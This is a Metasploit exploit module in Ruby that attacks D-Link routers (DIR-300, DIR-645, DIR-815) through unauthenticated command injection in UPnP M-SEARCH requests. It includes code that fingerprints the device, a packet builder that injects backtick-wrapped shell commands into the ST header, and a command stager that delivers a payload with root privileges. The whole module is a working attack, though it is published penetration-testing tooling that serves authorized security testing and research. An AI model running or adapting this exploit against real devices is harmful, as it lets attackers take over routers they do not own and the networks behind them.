##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Unauthenticated UPnP M-SEARCH Multicast Command Injection',
'Description' => %q{
Different D-Link Routers are vulnerable to OS command injection via UPnP Multicast
requests. This module has been tested on DIR-300 and DIR-645 devices. Zachary Cutlip
has initially reported the DIR-815 vulnerable. Probably there are other devices also
affected.
},
'Author' =>
[
'Zachary Cutlip', # Vulnerability discovery and initial exploit
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module and verification on other routers
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'], # original exploit
['URL', 'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'] # original exploit
],
'DisclosureDate' => 'Feb 01 2013',
'Privileged' => true,
'Targets' =>
[
[ 'MIPS Little Endian',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE
}
],
[ 'MIPS Big Endian', # unknown if there are big endian devices out there
{
'Platform' => 'linux',
'Arch' => ARCH_MIPS
}
]
],
'DefaultTarget' => 0
))
register_options(
[
Opt::RHOST(),
Opt::RPORT(1900)
], self.class)
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
configure_socket
pkt =
"M-SEARCH * HTTP/1.1\r\n" +
"Host:239.255.255.250:1900\r\n" +
"ST:upnp:rootdevice\r\n" +
"Man:\"ssdp:discover\"\r\n" +
"MX:2\r\n\r\n"
udp_sock.sendto(pkt, rhost, rport, 0)
res = nil
1.upto(5) do
res,_,_ = udp_sock.recvfrom(65535, 1.0)
break if res and res =~ /SERVER:\ Linux,\ UPnP\/1\.0,\ DIR-...\ Ver/mi
udp_sock.sendto(pkt, rhost, rport, 0)
end
# UPnP response:
# [*] 192.168.0.2:1900 SSDP Linux, UPnP/1.0, DIR-645 Ver 1.03 | http://192.168.0.2:49152/InternetGatewayDevice.xml | uuid:D02411C0-B070-6009-39C5-9094E4B34FD1::urn:schemas-upnp-org:device:InternetGatewayDevice:1
# we do not check for the Device ID (DIR-645) and for the firmware version because there are different
# dlink devices out there and we do not know all the vulnerable versions
if res && res =~ /SERVER:\ Linux,\ UPnP\/1.0,\ DIR-...\ Ver/mi
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Unknown
end
def execute_command(cmd, opts)
configure_socket
pkt =
"M-SEARCH * HTTP/1.1\r\n" +
"Host:239.255.255.250:1900\r\n" +
"ST:uuid:`#{cmd}`\r\n" +
"Man:\"ssdp:discover\"\r\n" +
"MX:2\r\n\r\n"
udp_sock.sendto(pkt, rhost, rport, 0)
end
def exploit
print_status("#{rhost}:#{rport} - Trying to access the device via UPnP ...")
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failed to access the vulnerable device")
end
print_status("#{rhost}:#{rport} - Exploiting...")
execute_cmdstager(
:flavor => :echo,
:linemax => 950
)
end
# the packet stuff was taken from the module miniupnpd_soap_bof.rb
# We need an unconnected socket because SSDP replies often come
# from a different sent port than the one we sent to. This also
# breaks the standard UDP mixin.
def configure_socket
self.udp_sock = Rex::Socket::Udp.create({
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
})
add_socket(self.udp_sock)
end
#
# Required since we aren't using the normal mixins
#
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
# Accessor for our UDP socket
attr_accessor :udp_sock
end
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